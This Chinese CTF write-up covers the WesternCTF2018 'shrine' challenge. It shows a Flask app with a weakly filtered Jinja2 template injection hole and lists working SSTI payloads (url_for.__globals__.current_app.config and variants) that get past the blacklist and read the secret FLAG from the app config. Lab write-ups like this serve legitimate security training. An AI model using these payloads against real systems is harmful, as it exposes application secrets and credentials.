[WesternCTF2018]shrine
题目在线https://buuoj.cn/challenges#[WesternCTF2018]shrine启动靶机,页面显示代码,抓包查看一下正常格式的代码显示
import flask
import osapp = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')@app.route('/')
def index():return open(__file__).read()@app.route('/shrine/<path:shrine>')
def shrine(shrine):def safe_jinja(s):s = s.replace('(', '').replace(')', '')blacklist = ['config', 'self']return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + sreturn flask.render_template_string(safe_jinja(shrine))if __name__ == '__main__':app.run(debug=True)
代码得知:flag在环境变量中,可能存在SSIT(服务器模板注入漏洞)并且引擎是 Jinja2,而且告知了路径 /shrine/<path:shrine> ,有黑名单 和 过滤括号()操作
如此我们可以简单验证 漏洞是否存在
输入 /shrine/{{7*7}} 返回49,说明ssit漏洞存在
由于过滤了括号(),无法使用系统命令;黑名单过滤了config、self,无法用它们读取配置和内置对象。可使用如下payload:
{{url_for.__globals__.current_app.config}}
{{url_for.__globals__.current_app.config.FLAG}}
{{url_for.__globals__.current_app['config']['FLAG']}}
#中括号" [] "可以代替 " . "
{{url_for['__globals__']['current_app']['config']}}
{{url_for['__globals__']['current_app']['config']['FLAG']}}
# get_flashed_messages 可以代替 url_for
获得flag
---------------------
注意:
源代码中 app.config['FLAG'] = os.environ.pop('FLAG')
这题不能直接使用{{url_for.__globals__['os'].environ}}读取环境变量中的FLAG,是因为 pop() 方法。
该代码意为:当读取到环境变量中的FLAG值的同时会删除环境变量中的FLAG,然后存入 app.config['FLAG'] 中